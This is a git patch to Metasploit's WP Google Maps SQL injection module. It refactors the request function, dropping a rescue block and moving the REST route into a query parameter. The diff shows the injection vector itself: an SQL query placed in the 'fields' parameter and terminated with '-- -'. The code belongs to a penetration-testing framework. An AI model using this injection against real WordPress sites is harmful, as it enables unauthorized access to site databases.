From 1b2b752befd310753b9621456abeab682f2fe529 Mon Sep 17 00:00:00 2001 From: Jacob Robles Date: Thu, 11 Apr 2019 06:20:48 -0500 Subject: [PATCH] Remove rescue that is handled in HttpClient mixin --- .../http/wp_google_maps_sql_injection.rb | 29 +++++++------------ 1 file changed, 11 insertions(+), 18 deletions(-) diff --git a/modules/auxiliary/admin/http/wp_google_maps_sql_injection.rb b/modules/auxiliary/admin/http/wp_google_maps_sql_injection.rb index ea042fc74d..bb6fb40526 100644 --- a/modules/auxiliary/admin/http/wp_google_maps_sql_injection.rb +++ b/modules/auxiliary/admin/http/wp_google_maps_sql_injection.rb @@ -37,25 +37,18 @@ class MetasploitModule < Msf::Auxiliary end def send_sql_request(sql_query) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path), + 'vars_get' => { + 'rest_route' => '/wpgmza/v1/markers', + 'filter' => '{}', + 'fields' => "#{sql_query}-- -", + } + ) - begin - res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, '/wp-json/wpgmza/v1/markers/'), - 'vars_get' => { - 'filter' => '{}', - 'fields' => "#{sql_query}-- -", - } - ) - - return nil if res.nil? || res.code != 200 || res.body.nil? - - res.body - - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e - vprint_error("#{peer} - The host was unreachable!") - return nil - end + return nil if res.nil? || res.code != 200 || res.body.nil? + res.body end def check